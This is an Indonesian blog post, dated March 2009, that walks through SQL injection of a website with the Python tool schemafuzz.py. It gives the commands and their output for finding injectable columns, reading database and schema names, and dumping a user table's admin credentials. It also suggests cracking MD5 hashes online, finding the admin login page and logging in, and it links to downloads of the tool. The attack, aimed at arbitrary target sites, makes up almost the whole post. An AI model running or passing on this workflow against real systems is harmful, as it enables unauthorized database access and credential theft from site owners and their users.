Pencarian

Kamis, 19 Maret 2009

SQL Ijnection dengan Schemafuzz

Schemafuzz merupakan salah satu script yang dibuat dengan bahasa python, script ini memudahkan kita untuk mengeksplorasi bug sql injection yang terdapat pada suatu webiste.

Untuk bisa menggunakan schemafuzz.py di windows, download program python terlebih dahulu.
http://www.python.org/ftp/python/2.6.2/python-2.6.2.msi dan install (Windows only).
lalu untuk memudahkan, Copy file schemafuzz.py di c:\python26

buka command line dan masuk ke direktori c:\python26

misalnya target sql injectionya di alamat http://www.xxx.com/index.php?id=9
ketikkan perintah berikut:
c:\>python26\python.exe schemafuzz.py --findcol -u http://www.xxx.com/index.php?id=9


Setelah proses scanning selesai dan kamu menjumpai tulisan seperti ini pada command line:
[+] SQLi URL: http://www.xxx.com/index.php?id=9+AND+1=2+UNION+SELECT+0,1,2,3--
[+] darkc0de URL: http://www.xxx.com/index.php?id=9+AND+1=2+UNION+SELECT+darkc0de,1,2,3
[-] Done!


berarti proses pencarian bug udah selesai, buka schemafuzzlog.txt yang terdapat di direktory yang sama dengan file schemafuzz.py yaitu c:\python26\schemafuzzlog.txt
Setiap kita melakukan aktifitas scanning, melihat table ataupun dump, maka hasilnya akan tercatat di file schemafuzzlog.txt

copy darkc0de url karena alamat ini yang akan dipakai untuk proses selanjutnya.

lanjut ke tahap berikutnya, yaitu melihat versi mysql gunakan perintah:
c:\>python26\python.exe schemafuzz.py --info -u darkc0de url
maka akan jadi seperti ini:
c:\>python26\python.exe schemafuzz.py --info -u http://www.xxx.com/index.php?id=9+AND+1=2+UNION+SELECT+darkc0de,1,2,3


[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: chipo
User: chipo@localhost
Version: 5.1.30-community


ternyata pake mysql versi 5.1 dan nama database nya chipo.
kamu bisa mengganti --info dengan --dbs untuk melihat database lain yang digunakan.
lanjut ke tahap selanjutnya adalah mengetahui struktur tabel. gunakan perintah

c:\>python26\python.exe schemafuzz.py -D chipo --schema -u http://www.xxx.com/index.php?id=9+AND+1=2+UNION+SELECT+darkc0de,1,2,3


[Database]: chipo
[table: Columns]
[0]barang: barangID,kategoriID,barang,harga,spesifikasi,image
[1]kategori: kategoriID,kategori
[2]pembeli: idpembeli,nama,alamat,email,telepon,pesan,total,barangID,barang,tanggal
[3]sementara: pembeli,id,barang,spesifikasi,harga
[4]user: userID,user,password


Yupz, terdapat tabel bernama user dengan nama kolom userID, user dan password
Untuk melihat isi dari tabel user, gunakan perintah

c:\>python26\python.exe schemafuzz.py --dump -D chipo -T user -C userID,user,password -u http://www.xxx.com/index.php?id=9+AND+1=2+UNION+SELECT+darkc0de,1,2,3


Gathering MySQL Server Configuration...
Database: chipo
User: chipo@localhost
Version: 5.1.30-community
[+] Dumping data from database "chipo" Table "user"
[+] Column(s) ['userID', 'user', 'password']
[+] Number of Rows: 1

[0] 1:admin:chipo:chipo:

[-] [23:30:23]
[-] Total URL Requests 3
[-] Done

dan upss, ternyata admin nya sedikit ceroboh karena tidak ada enkripsi pada password,
bila kamu melihat sederatan karakter seperti 21232f297a57a5a743894a0e4a801fc3 berarti passwordnya sudah di enkripsi dengan md5, jangan berkecil hati, silahkan kamu cari web-web yang menyediakan dekripsi md5 seperti di http://md5decryption.com/ lanjut, kamu telah mendapatkan username dengan nama admin dan password chipo

Lalu, dimana halaman loginnya ?
untuk melihat struktur direktori suatu web, kamu bisa menggunakan tools-tools lain yang berserakan di jagad maya ini seperti acunetix dll...
kalo udah ketemu login nya, silahkan login dengan user dan password tadi.
kalo udah masuk halaman admin, terserah kamu..

kamu juga bisa menggunakan perintah lain dgn schemafuzz, lihat aja help nya
c:\>python26\python.exe schemafuzz.py -h
Donlod
http://www.ziddu.com/download/4566844/schemafuzz.rar.html
Downnload (New Version)
http://www.ziddu.com/download/4566838/darkMySQLi.rar.html

1 komentar: